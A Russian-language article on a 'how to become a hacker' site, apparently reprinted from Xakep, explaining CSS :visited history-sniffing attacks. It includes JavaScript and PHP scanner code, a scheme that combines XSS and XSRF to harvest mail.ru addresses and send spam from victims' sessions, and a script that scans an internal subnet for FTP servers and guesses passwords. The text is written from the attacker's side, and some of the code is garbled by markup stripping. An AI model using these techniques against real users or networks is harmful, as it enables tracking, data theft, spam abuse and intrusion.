Как разблокировать аккаунты, защитить компьютер и стать хакером
Полезные инструменты

Ваш IP

Узнай свой IP адрес

Проверить сайт

Test tools by WebSitePulse

Генератор MD5

1. Введите строку Строка:


2. Копировать MD5:

Реклама

интернетПеред взломом сервера вы первоначально занимаетесь его изучением. Вы определяете платформу, на которой работают сервисы, их версии и уже только после этого приступаете к самому нападению. При сетевой разведке, и промышленном шпионаже используется идентичная технология. И это оправдано, атака вслепую никогда не будет столь эффективной, как точечные удары…
Как уже писал Хакер, в прошлом году написание вредоносного кода на JavaScript и AJAX перешло из разряда исследовательской работы в коммерческую. В феврале компания ИТ-безопасности Websense обнаружила, что веб-сайт стадиона Dolphin был заражен троянским кодом на JavaScript: вместо обычной замены текста на главной странице злоумышленники встроили туда незаметный вредоносный код. Дальнейшее исследование показало, что таким образом уже были заражены десятки сайтов.
Коммерческая подоплека диктует свои правила. Интересы хакеров постепенно смещаются в сторону краж конфиденциальных данных пользователей: адресов, телефонов, логинов, паролей, номеров страхования и данных о кредитных картах клиентов. Поэтому хакеры собирают максимальное количество данных о своих будущих жертвах… Чтобы с большой вероятностью получить эти данные, атакующий собирает информацию о том, какими сервисами пользуется клиент. Ведь ни для кого не секрет, что твои паспортные данные нельзя похитить в том случае, если у тебя паспорта нет вообще. А вот если ты используешь PayPal, можно попытаться захватить твою учетную запись…
Сканирование
Как же определить, по каким сайтам ходит пользователь? Техника сканирования довольно проста и вы будете сильно удивлены, ведь уже давно пользуетесь ею сами! Дело в том, что браузер сам запоминает определенное количество посещаемых вами ссылок, и если он снова встретит одну из них, то самостоятельно напомнит вам об этом, изменяя цвет текста:
‘); document.write(‘#id’ + i + «:visited {color: #FF0000;}»); document.write(‘

‘); // добавляем ссылку в HTML-код страницы document.body.appendChild(link); // берем ее цвет var color = document.defaultView.getComputedStyle(link,null).getPropertyValue(«color»); // удаляем ее document.body.removeChild(link); // и наконец проверяем, какого она была цвета if (color == «rgb(255, 0, 0)») { // красная – значит, посещенная // рисуем ее как посещенную var item = document.createElement(‘li’); item.appendChild(link); document.getElementById(‘visited’).appendChild(item); } else { // не посещенная // рисуем ее как не посещенную var item = document.createElement(‘li’); item.appendChild(link); document.getElementById(‘notvisited’).appendChild(item); } }
Этот скрипт создает теги ссылок и проверяет их цвет, если красный – ссылка была уже посещена, другой – на нее не переходили. Так составляется список посещенных страниц, при желании доступна онлайн-демонстрация этого кода [3]. Немного позже другой автор предложил вариант, работающий во всех браузерах. Новый вариант работает на тестировании размеров ссылки, а не ее цвета:

(онлайн-демонстрация доступна в сети [4])
var searchurls = [
"http://xakep.ru",
"http://mail.ru/",
"http://www.mail.ru/",
"http://ajaxian.com/",
"http://digg.com/",
"http://english.aljazeera.net/HomePage",
"http://ha.ckers.org",
"http://ha.ckers.org/blog/",
"http://jeremiahgrossman.blogspot.com/",
"http://login.yahoo.com/",
"http://mail.google.com/",
"http://mail.yahoo.com/",
"http://my.yahoo.com/",
"http://reddit.com/",
"http://seoblackhat.com",
"http://slashdot.org/",
"http://techfoolery.com/",
"http://weblogs.asp.net/jezell/",
"http://www.amazon.com/",
"http://www.aol.com/",
"http://www.google.com/",
"http://mail.google.com/",
"http://www.yahoo.com",
"http://www.gnucitizen.org",
"http://www.securityfocus.com",
"http://www.nba.com"
];

document.write( ‘

‘ );
var output = ‘

Look where you’ve been:

    ‘;
    var c = document.createElement(‘div’);
    c.id=’nicked’;
    document.body.appendChild(c)
    for(i in searchurls){
    var temp=document.createElement(‘a’);
    temp.href=searchurls[i];
    temp.innerHTML=searchurls[i];
    c.appendChild(temp)
    if(temp.offsetHeight==1){
    output+=’
  • ‘+searchurls[i]+’
  • ‘;
    }
    }
    document.write(output+’

‘);
Таким образом, скрипт определяет, что посещенные ссылки будут иметь размер 1х1 пикселей:

После чего проверяет действительный размер для всех ссылок со списка, и если высота составляет 1 пиксель, сайт был посещен:
var temp=document.createElement(‘a’);
temp.href=searchurls[i];

if(temp.offsetHeight==1)
{
// Сайт посещен!
}
В данном случае мы говорим о сетевой разведке, дающей вполне ощутимые результаты. Например, вас могут сканировать, чтобы определить ваш почтовый сервер. Если вы пользуетесь веб-интерфейсом почтовой службы Mail.Ru, то набираете адрес http://www.mail.ru; с другой стороны, пользователи Rambler вводят сайт рамблера. Просканировав посещенные страницы, атакующий может определить ваш почтовый сервер, и если он владеет техникой для его взлома, выбрать нужный метод, чтобы захватить вашу почту…
Занимательная арифметика или спам
Для убедительности я постараюсь продемонстрировать опасность данного сканирования в комбинации с другими атаками. Давайте посмотрим, как эта техника может быть использована для сбора почтовых адресов или рассылки спама.
Задача: какое количество почтовых адресов может быть собрано с одного форума, если он уязвим к XSS?
По условиям задачи у нас дано:
F (Форум) = 1 шт.
X (Уязвимость XSS) >= 1 шт.
Введем следующие понятия:
T (Длительность атаки) = t
Время t вычисляется как сумма времени, необходимого для реакции администраторов сайта и время на исправление ошибок форума.
Клиентов(N) = n
Количество клиентов n можно определить вычитанием из общего количества уникальных посещений за t часов, количества пользователей, не использующих почтовые веб-интерфейсы, пользователей, не загруженных в почтовую систему и пользователей с отключенными скриптами.
Как тест, пример будет реагировать на единственный почтовый сервер Mail.RU, на практике хакер может прописать сотни серверов. Для определения почтового адреса пользователя будем отправлять от его имени письмо с темой account (используя XSRF). Таким образом, получив письмо, мы пополним нашу базу почтовых адресов еще одним клиентом. Процесс эксплуатации состоит из двух компонент:
Сканирование клиента делается по выше описанному принципу, в результате мы получаем информацию о том, использует ли он почту на Mail.RU.
Для отправки письма будем использовать метод XSRF. Запрос на отправку письма будет прогружаться через изображение как фоновый рисунок посещенной ссылки.
И, собственно, сам код (упрощенный вариант):

mail.ru
В действительности атакующий может расширить функциональность и производить проверку большего количества почтовых систем. Более того, при желании код можно модифицировать для организации спам-рассылок, так что если у посетителя форума есть активная сессия на почтовом сервере, он сам становится источником спама, и именно с его адреса производится отправка рекламы! Бесплатный спам-трафик – дешевый спам :)
Уязвимость одного форума превращает его в стартовую площадку для всех последующих атак. И уязвимыми становятся почти все пользователи, они и так уязвимы, поскольку мы предполагаем, что ошибки существуют в большинстве веб-сервисов, просто к самим сервисам мы уже не привязаны и в большинстве случаев можем осуществлять атаки с других сайтов. А сканирование позволяет делать направленные атаки на конкретные службы. Что немаловажно, если количество возможных вариантов достигает тысячи. Запомните, не растрачивая сетевые ресурсы на попытки эксплуатации каждого сервиса, мы выигрываем время на саму атаку!
Аналитики компании MessageLabs опубликовали мартовский отчет о безопасности. Отмечается, что из 716 электронных сообщений, полученных MessageLabs, 249 были направлены на конкретные организации или пользователей. Таким образом, специалисты говорят о том, что спамерские и фишинговые атаки стали очень адресными и направлены на конкретных получателей. В MessageLabs отмечают, что с каждым днем эффективность массовых рассылок падает, а финансовые затраты растут. Поэтому злоумышленники начали переходить к более прямым и наглым методам.
Другой пример — нам необходимо подобрать пароль на внутренний FTP-сервер компании. Мы знаем, что ее сотрудники посещают корпоративный форум, последний доступен из Интернета и каждый желающий (потенциальный клиент) может задать свой вопрос. Вопросы читают сотрудники, это их работа, и это нормально. Нормально также то, что время от времени они посещают внутренний FTP-сервер компании, чтобы получить свежую документацию. Ненормально то, что атакующий может попытаться взломать форум извне и просканировать внутреннюю сеть в поисках этого самого FTP, более того, он может даже подбирать пароли (все это действительно, если для работы с FTP используется браузер)…
Проникновение на FTP
Существует ряд технологий для определения внутреннего IP адреса посетителя сайта, но о них мы поговорим в другой раз. Зато, определив его адрес, например, 192.168.150.1, мы можем предположить, что FTP-сервер находится с ним в одной подсети, и пользователь заходит на него время от времени. В таком случае, чтобы найти его, нет необходимости перебирать весь диапазон адресов, достаточно просканировать подсеть класса С…
document.write( ‘

‘ );
var output = ‘

Look where you’ve been:

    ‘;
    var c = document.createElement(‘div’);
    c.id=’nicked’;
    document.body.appendChild(c)
    for(i=1;i<255;i++){ var temp=document.createElement('a'); temp.href="ftp://192.168.150."+i; temp.innerHTML="ftp://192.168.150."+i; c.appendChild(temp) if(temp.offsetHeight==1){ output+='
  • ‘+(«ftp://192.168.150.»+i )+’
  • ‘;
    }
    }
    document.write(output+’

‘);
В результате мы сканируем не 4294967296 адресов, а всего лишь 254! Задумайтесь, такие показатели производительности не могут оставить равнодушными никого. Но и это еще не все, применяя технику сканирования, мы можем попытаться подобрать пароль пользователя. Используя ftp://login:password@ftp.server как маску для сканирования, в комбинации с XSRF позволяют определить все необходимые данные для успешного проникновения на сервер.
Не только скрипт
Скрипты — всего лишь один из способов сканирования, в примере с почтовыми системами внимательные читатели могли заметить их полное отсутствие. Да, действительно, можно обойтись и без них. На практике хватает HTML и CSS на стороне клиента, плюс PHP со стороны сервера:
«.url%2$u:visited { background-image: url(‘%1$s?id=%2$u’); }n»
,»link» => «
);

$code = array( «style» => »
, «link» => »
, «status» => array()
, «listURL» => $listURL
, «scannerURL» => $scannerURL
);

foreach ($listURL as $i => $value)
{

$code["style"] .= sprintf( $format["style"], $scannerURL, $i);
$code["link"] .= sprintf( $format["link"], $listURL[$i], $i);
$code['status'][$i] = 0;

}

$code["style"] = «

nn»;

return $code;
}

if ( $_GET['id'] != » )
{
session_start();

$_SESSION['scan']['status'][$_GET['id']] = 1;
}
else
{

if( ($_GET['scan'] == ‘start’) || ( $_GET['scan'] == » ) )
{
session_start();
session_unset();

$_SESSION['scan'] =
getScannerCode($listURL, $scannerURL );

echo( ‘‘ . «nn» );

echo( $_SESSION['scan']['style'] . $_SESSION['scan']['link'] );

echo( ‘WAIT, SCAN IN PROGRESS…‘ );

};

if( $_GET['scan'] == ‘stop’)
{
session_start();

echo( «12.04.07 Visited URL scann, version without JavaScript Code


» );
echo( «START

» );

if( count($_SESSION['scan']['listURL']) != 0 )
{
echo( ‘Visited URLs:
‘ );

$message = ‘No visited URLs!
‘;

foreach ($_SESSION['scan']['listURL'] as $i => $value)
{
if( $_SESSION['scan']['status'][$i] == 1 )
{
echo( «{$_SESSION['scan']['listURL'][$i]}
» );
$message = »;
}
}
}

session_unset();
session_destroy();
}
}

?>
В результате создается следующий HTML-код:













WAIT, SCAN IN PROGRESS…
Как видите, в нем нет и намека на скрипты. Зато возможная угроза возрастает в несколько раз, ведь защититься от санирования простым отключением скриптов не выйдет. А внедрить такой код достаточно просто через фрейм. Впервые такую технику предложил Robert Hansen из хакерской группы Rsnake, демонстрация которой доступна в сети [5].

http://jeremiahgrossman.blogspot.com/

3. CSS History Hack (Firefox)

http://ha.ckers.org/weird/CSS-history-hack.html

4. CSS History Hack (Firefox + IE)

http://icant.co.uk/sandbox/nickhistory.html

5. CSS History Hack Without JavaScript

http://ha.ckers.org/weird/CSS-history.cgi

6. Clear Internet history Freeware

http://www.morun.net/www/clear-history/clear-internet-explorer-history.html

7. JavaScript «оружие» хакеров

http://www.cnews.ru/news/line/index.shtml?2007/04/20/246857

Скорость печати
Набирайте отображаемый текст и вы узнаете вашу скорость набора текста


Рейтинг@Mail.ru


Copyright © 2025 Как разблокировать аккаунт. Все права защищены.